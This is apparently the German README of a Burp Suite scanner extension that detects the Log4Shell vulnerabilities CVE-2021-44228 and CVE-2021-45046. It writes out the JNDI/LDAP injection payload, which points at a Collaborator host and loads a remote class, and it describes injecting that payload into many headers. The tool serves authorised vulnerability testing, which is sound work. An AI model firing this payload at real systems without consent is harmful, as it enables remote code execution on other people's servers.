dxc-strikeforce/burp-log4j-hammertimeBurp Active Scan-Erweiterung zur Identifizierung von Log4j-Schwachstellen CVE-2021-44228 und CVE-2021-45046
Diese Burp Suite Active Scanner-Erweiterung validiert die Ausnutzung der Apache Log4j Sicherheitslücken CVE-2021-44228 und CVE-2021-45046.
Diese Erweiterung verwendet den Burp Collaborator, um das Problem zu überprüfen.
Wenn Sie nur die Prüfungen dieses Moduls ausführen möchten, können Sie das Profil extensions-only.json importieren und es als Active Scan-Profil auswählen.
Während eines aktiven Scans werden die folgenden Einfügepunkte in dieser Erweiterung getestet:
An jedem Einfügepunkt wird die Anfrage mit folgender Nutzlast injiziert:
${jndi:ldap://{BURPCOLLABORATOR}/exploit.class}
Darüber hinaus fügt diese Erweiterung viele Header hinzu, die in headers aktiviert sind (nicht auskommentierte Zeilen). Diese Header werden einzeln in separaten Anfragen injiziert.
Dieses Projekt dient ausschließlich zu Bildungs- und ethischen Testzwecken. Die Verwendung von Log4Shell-active-scanner zum Angreifen von Zielen ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
Das Projekt ist unter der MIT-Lizenz lizenziert.
